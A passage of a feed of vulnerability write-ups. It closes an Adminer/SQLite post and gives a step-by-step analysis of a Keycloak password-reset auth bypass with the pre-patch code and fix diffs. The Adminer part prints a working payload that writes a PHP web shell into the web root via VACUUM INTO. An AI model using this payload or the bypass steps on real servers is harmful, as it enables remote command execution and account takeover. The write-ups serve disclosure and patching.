&lt;p&gt;The problem: &lt;code&gt;VACUUM INTO 'path'&lt;/code&gt;, available since SQLite 3.27.0, does almost exactly the same thing — it writes the current database out to an arbitrary path with an arbitrary extension. The blocklist regex only matches queries starting with &lt;code&gt;ATTACH&lt;/code&gt;, so a query starting with &lt;code&gt;VACUUM&lt;/code&gt; sails right through.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;"&amp;lt;?php system($_GET['c']); ?&amp;gt;"&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;VACUUM&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/html/shell.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The table name carries the PHP payload, and &lt;code&gt;VACUUM INTO&lt;/code&gt; dumps the whole database into a &lt;code&gt;.php&lt;/code&gt; file. PHP's parser finds the &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; block sitting in the middle of the binary SQLite content and executes it. This path requires authentication, so it's less severe than the MSSQL bug, but SQLite-backed Adminer instances are often left with default or empty credentials — so the practical risk is still meaningful.&lt;/p&gt;

&lt;h2&gt;
  
  
  The common root cause
&lt;/h2&gt;

&lt;p&gt;All three issues share the same pattern:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;User input is passed to a downstream system (ODBC, a version-string regex, a SQL blocklist) with no trust boundary in between.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A partial-match regex, on failure, returns the raw input instead of a safe default.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blocklist-based defenses don't keep up with new syntax (like &lt;code&gt;VACUUM INTO&lt;/code&gt;).&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;host_port()&lt;/code&gt; returning the original string when its regex doesn't match, the SQLite blocklist only catching &lt;code&gt;ATTACH\b&lt;/code&gt;, and (in a related XSS bug in the same audit) a version-string regex falling back to the raw value on a failed match — all three bugs share the exact same failure mode: &lt;strong&gt;match failure means the input passes through unmodified.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>database</category>
      <category>ubuntu</category>
      <category>cve</category>
      <category>php</category>
    </item>
    <item>
      <title>CVE-2026-18963: Breaking Down Keycloak's reset-credentials Auth Bypass</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sun, 30 Aug 2026 03:51:06 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-18963-breaking-down-keycloaks-reset-credentials-auth-bypass-30b9</link>
      <guid>https://dev.to/guidance_white/cve-2026-18963-breaking-down-keycloaks-reset-credentials-auth-bypass-30b9</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuybuysc11suw0sj4iawn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuybuysc11suw0sj4iawn.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;TL;DR: an unauthenticated attacker who only knew a victim's username could reach the "set a new password" step of Keycloak's forgot-password flow **without ever clicking the emailed reset link&lt;/em&gt;&lt;em&gt;. CVSS 9.1. Root cause: one missing equality check plus one un-scoped boolean flag. This post walks the actual patch diff, function by function.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What was possible
&lt;/h2&gt;

&lt;p&gt;No prior credentials. No user interaction from the victim. Just a username. That's enough to land on the password-reset screen for someone else's account. That's why CVE-2026-18963 landed a 9.1 (Critical) on CVSS 3.1.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2026-18963&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Component&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;keycloak-services&lt;/code&gt;, reset-credentials auth flow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS 3.1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.1 — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-640 (Weak Password Recovery Mechanism)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reported by&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;James Paremain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Disclosed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2026-08-18 (Red Hat) / 2026-08-19 (keycloak#51833)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Fix commit&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;dc2d4e524b4dae85aedc87ca28b9e4fa567d56c1&lt;/code&gt; (PR &lt;a href="https://github.com/keycloak/keycloak/pull/51844" rel="noopener noreferrer"&gt;#51844&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Fixed in&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;26.7.2 / 26.6.6 / 26.4.15 (LTS) / 26.8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Below, I walk the attack in the order an attacker would actually hit it, dropping in the real source at each step.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz9j86zpuktu2ogeh1miy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz9j86zpuktu2ogeh1miy.png" alt=" " width="800" height="503"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A quick primer on Keycloak's Authenticator model
&lt;/h2&gt;

&lt;p&gt;Every step of a Keycloak flow (login, forgot-password, etc.) is an &lt;code&gt;Authenticator&lt;/code&gt; with two entry points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;authenticate(context)&lt;/code&gt; — called when the step is first shown. It can render a form, or call &lt;code&gt;context.success()&lt;/code&gt; immediately if the step's condition is already satisfied.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;action(context)&lt;/code&gt; — called when the user submits that form (POST). It validates the submission and calls &lt;code&gt;context.success()&lt;/code&gt; or &lt;code&gt;context.failure()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The reset-credentials flow chains two of these:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="err"&gt;reset-credentials-choose-user&lt;/span&gt;  &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="err"&gt;org.keycloak.authentication.authenticators.resetcred.ResetCredentialChooseUser&lt;/span&gt;
&lt;span class="err"&gt;reset-credential-email&lt;/span&gt;         &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="err"&gt;org.keycloak.authentication.authenticators.resetcred.ResetCredentialEmail&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clicking the link in the reset email re-enters the same flow through a separate Action Token path (&lt;code&gt;ResetCredentialsActionTokenHandler&lt;/code&gt;), which stamps the auth session with &lt;code&gt;DefaultActionTokenKey.ACTION_TOKEN_USER_ID&lt;/code&gt;. That value — "the link that was clicked was minted for this exact user ID" — is the &lt;em&gt;only&lt;/em&gt; signal that email verification actually happened. Everything below comes down to one place where that signal stopped being checked.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Pin the target account
&lt;/h2&gt;

&lt;p&gt;The attacker submits the victim's username to the first authenticator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ResetCredentialChooseUser.java — action()&lt;/span&gt;
&lt;span class="nc"&gt;UserModel&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSession&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;users&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getUserByUsername&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;realm&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthenticationSession&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;setAuthNote&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;RESET_CREDENTIAL_USER_CHOSEN&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setUser&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// ← the session is now pinned to the victim&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing has been emailed yet, nothing has been verified. This just sets a pointer: &lt;em&gt;"this session's target is this user."&lt;/em&gt; That pointer gets trusted downstream without re-verification — which is the precondition for everything that follows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — The legitimate path stalls here
&lt;/h2&gt;

&lt;p&gt;The flow moves to &lt;code&gt;reset-credential-email&lt;/code&gt;. For a normal user, this is where it stops until they check their inbox:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ResetCredentialEmail.java — authenticate()&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;actionTokenUserId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;authenticationSession&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthNote&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;DefaultActionTokenKey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ACTION_TOKEN_USER_ID&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actionTokenUserId&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nc"&gt;Objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getId&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;actionTokenUserId&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;   &lt;span class="c1"&gt;// re-entered via the emailed action token&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSession&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getProvider&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;EmailTemplateProvider&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;)....&lt;/span&gt;&lt;span class="na"&gt;sendPasswordReset&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expirationInMinutes&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forkWithSuccessMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EMAIL_SENT&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;  &lt;span class="c1"&gt;// wait screen, nothing more happens&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point &lt;code&gt;ACTION_TOKEN_USER_ID&lt;/code&gt; isn't in the session yet — the attacker can't read the victim's inbox, so &lt;code&gt;authenticate()&lt;/code&gt; alone stops them cold. The interesting bug lives in the sibling method, &lt;code&gt;action()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Tamper with the screen state to reroute past &lt;code&gt;authenticate()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Keycloak decides which Authenticator handles an incoming request using an &lt;code&gt;execution&lt;/code&gt; URL parameter. This is where the second bug comes in — the "try another way" screen-switch logic in &lt;code&gt;DefaultAuthenticationFlow.java&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// pre-patch — DefaultAuthenticationFlow.java&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inputData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;containsKey&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tryAnotherWay"&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;processor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthenticationSession&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
             &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAuthNote&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;AuthenticationProcessor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// ← plain boolean&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;createSelectAuthenticatorsScreen&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;Response&lt;/span&gt; &lt;span class="nf"&gt;processFlow&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseBoolean&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;processor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthenticationSession&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthNote&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED&lt;/span&gt;&lt;span class="o"&gt;)))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;lastExecutionId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="na"&gt;getAuthNote&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;CURRENT_AUTHENTICATION_EXECUTION&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lastExecutionId&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// ← as long as the flag is "true", whichever execution is&lt;/span&gt;
            &lt;span class="c1"&gt;//    "current" gets trusted, regardless of which step actually set the flag&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;createSelectAuthenticatorsScreen&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;executionModel&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED&lt;/code&gt; is a session-wide &lt;code&gt;"true"&lt;/code&gt;/&lt;code&gt;"false"&lt;/code&gt; string with &lt;strong&gt;zero information about which execution set it&lt;/strong&gt;. &lt;code&gt;CURRENT_AUTHENTICATION_EXECUTION&lt;/code&gt;, meanwhile, keeps getting overwritten as the flow progresses. Combining "a selector screen was shown at some point" with "whatever execution is current right now" assumes the two always refer to the same step — an assumption the code never actually enforced.&lt;/p&gt;

&lt;p&gt;By tripping this screen switch, an attacker could get a request aimed at the &lt;code&gt;reset-credential-email&lt;/code&gt; execution routed straight to its &lt;code&gt;action()&lt;/code&gt; method, skipping &lt;code&gt;authenticate()&lt;/code&gt; entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — The actual hole: &lt;code&gt;ResetCredentialEmail.action()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Here's the whole pre-patch method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// pre-patch — ResetCredentialEmail.java&lt;/span&gt;
&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;action&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;AuthenticationFlowContext&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One line. It doesn't check whether &lt;code&gt;ACTION_TOKEN_USER_ID&lt;/code&gt; exists, and it doesn't check whether it matches the current user — the exact comparison &lt;code&gt;authenticate()&lt;/code&gt; performs a few lines above it is simply absent from &lt;code&gt;action()&lt;/code&gt;. However this method got invoked, it always said yes.&lt;/p&gt;

&lt;p&gt;Combine this with step 3's rerouting, and the entire "wait for the email" gate becomes a formality.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5 — Account takeover
&lt;/h2&gt;

&lt;p&gt;The flow advances to the set-new-password screen. Since &lt;code&gt;context.setUser(victim)&lt;/code&gt; from step 1 is still in effect, the attacker types in a new password for an account they never proved control of — game over.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the patch actually changed
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;ResetCredentialEmail.java&lt;/code&gt;&lt;/strong&gt; — put the missing check back where it belongs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; public void action(AuthenticationFlowContext context) {
&lt;span class="gd"&gt;-    context.success();
&lt;/span&gt;&lt;span class="gi"&gt;+    UserModel user = context.getUser();
+    String actionTokenUserId = context.getAuthenticationSession().getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
+    if (user != null &amp;amp;&amp;amp; user.getId().equals(actionTokenUserId)) {
+        context.success();
+    } else {
+        context.failure(AuthenticationFlowError.INVALID_USER);
+    }
&lt;/span&gt; }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;AuthenticationProcessor.java&lt;/code&gt; / &lt;code&gt;DefaultAuthenticationFlow.java&lt;/code&gt;&lt;/strong&gt; — bind the screen-state flag to the execution that actually set it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;-// Boolean flag, which is true when authentication-selector screen should be rendered
&lt;/span&gt;&lt;span class="gi"&gt;+// Flag with the model id when authentication-selector screen should be rendered
&lt;/span&gt; public static final String AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "auth.selector.screen.rendered";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; if (inputData.containsKey("tryAnotherWay")) {
&lt;span class="gd"&gt;-    ...setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
&lt;/span&gt;&lt;span class="gi"&gt;+    ...setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());  // store this execution's own ID
&lt;/span&gt;     return createSelectAuthenticatorsScreen(model);
 }
 ...
 public Response processFlow() {
&lt;span class="gd"&gt;-    if (Boolean.parseBoolean(...getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
-        String lastExecutionId = ...getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
-        if (lastExecutionId != null) { ... return createSelectAuthenticatorsScreen(executionModel); }
&lt;/span&gt;&lt;span class="gi"&gt;+    String selector = ...getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);
+    if (selector != null) {
+        String lastExecutionId = ...getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
+        if (selector.equalsIgnoreCase(lastExecutionId)) {   // must be the exact same execution
+            ... return createSelectAuthenticatorsScreen(executionModel);
+        } else {
+            ...removeAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);  // stale flag, drop it
+        }
+    }
&lt;/span&gt; }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of a bare &lt;code&gt;"true"&lt;/code&gt;, the note now stores the exact execution ID that displayed the selector screen, and re-entry only re-renders it when that ID matches the current execution byte-for-byte. Screen state and execution step are now bound 1:1. Either fix alone would have closed most of the path; together they close it completely.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/0eqibug5ewM" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Affected versions
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stream&lt;/th&gt;
&lt;th&gt;Vulnerable&lt;/th&gt;
&lt;th&gt;Fixed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;26.7.x&lt;/td&gt;
&lt;td&gt;&amp;lt; 26.7.2&lt;/td&gt;
&lt;td&gt;26.7.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26.6.x&lt;/td&gt;
&lt;td&gt;&amp;lt; 26.6.6&lt;/td&gt;
&lt;td&gt;26.6.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26.4.x (LTS)&lt;/td&gt;
&lt;td&gt;&amp;lt; 26.4.15&lt;/td&gt;
&lt;td&gt;26.4.15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26.8.x&lt;/td&gt;
&lt;td&gt;&amp;lt; 26.8.0&lt;/td&gt;
&lt;td&gt;26.8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;26.5.x and earlier are out of support and won't get a backport — upgrading to a supported stream is the only real fix. If you can't patch immediately, disabling &lt;code&gt;resetPasswordAllowed&lt;/code&gt; on the realm removes the entry point (step 1) at the cost of your users' self-service password reset.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>credentials</category>
      <category>cve</category>
      <category>ubuntu</category>
    </item>
    <item>
      <title>CVE-2026-2005: Heap Buffer Overflow in PostgreSQL pgcrypto's pgp_pub_decrypt_bytea() (RCE)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Thu, 27 Aug 2026 23:51:18 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-2005-heap-buffer-overflow-in-postgresql-pgcryptos-pgppubdecryptbytea-rce-30ib</link>
      <guid>https://dev.to/guidance_white/cve-2026-2005-heap-buffer-overflow-in-postgresql-pgcryptos-pgppubdecryptbytea-rce-30ib</guid>
